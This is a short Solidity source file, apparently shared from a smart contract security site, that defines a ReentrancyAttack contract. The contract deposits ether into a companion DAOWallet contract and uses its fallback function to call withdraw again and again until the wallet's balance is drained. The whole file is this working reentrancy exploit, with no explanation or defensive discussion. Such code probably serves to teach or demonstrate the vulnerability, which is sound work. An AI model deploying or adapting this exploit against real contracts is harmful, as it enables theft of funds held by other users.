ReentrancyAttack.sol (www.SmartContractSecurity.com)

gistfile1.txt

pragma solidity ^0.6.10;

import './DAOWallet.sol';

contract ReentrancyAttack {
    DAOWallet public daoWallet;
    
    constructor(address _daoWalletAddress) public {
        daoWallet = DAOWallet(_daoWalletAddress);
    }
    
    function attack() external payable {
        require(msg.value >= 1 ether);
        
        daoWallet.deposit{value: msg.value}();
        daoWallet.withdraw(1 ether);
    }
    
    fallback() external payable {
        if(address(daoWallet).balance >= 1 ether) {
            daoWallet.withdraw(1 ether);
        }
    }
    
    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }
}